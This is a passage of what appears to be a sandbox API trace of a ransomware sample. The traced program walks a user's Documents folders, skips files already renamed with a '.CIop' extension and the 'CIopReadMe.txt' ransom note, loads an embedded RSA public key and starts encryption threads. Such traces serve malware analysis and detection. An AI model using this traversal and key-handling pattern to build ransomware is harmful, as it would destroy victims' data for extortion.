lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.116] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.116] lstrlenW (lpString="desktop.ini") returned 11 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.117] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2="..") returned 1 [0169.117] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2=".") returned 1 [0169.117] lstrlenW (lpString=".CIop") returned 5 [0169.117] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.117] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.118] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.118] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0169.118] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.118] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0169.118] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.118] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0169.118] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0169.118] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0169.118] SetErrorMode (uMode=0x1) returned 0x1 [0169.118] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0169.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0169.119] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0169.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0169.119] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.119] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0169.119] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0169.119] lstrlenW (lpString=".CIop") returned 5 [0169.119] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.119] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0169.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0169.119] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.119] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0169.119] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0169.119] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.119] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.119] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0169.119] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0169.119] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0169.119] SetErrorMode (uMode=0x1) returned 0x1 [0169.119] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0169.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0169.119] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0169.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0169.119] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.119] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0169.119] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0169.119] lstrlenW (lpString=".CIop") returned 5 [0169.119] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.120] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0169.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0169.120] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.120] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0169.120] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0169.120] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.120] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.120] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.120] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.120] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0169.120] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0169.120] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0169.120] SetErrorMode (uMode=0x1) returned 0x1 [0169.120] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0169.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0169.120] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0169.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0169.120] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dfb8 [0169.120] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0169.120] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0169.120] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.120] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.120] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.120] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.120] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.120] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.120] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.120] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.120] lstrlenW (lpString="desktop.ini") returned 11 [0169.120] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.120] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1 [0169.120] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1 [0169.120] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 46 [0169.120] Sleep (dwMilliseconds=0xd) [0169.143] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0169.143] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0169.143] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0169.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0169.144] SetErrorMode (uMode=0x1) returned 0x1 [0169.144] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt") returned 56 [0169.144] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0169.144] CloseHandle (hObject=0x6d4) returned 1 [0169.144] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.144] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.144] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0169.144] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0169.144] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0169.144] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0169.144] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0169.144] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0169.144] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My 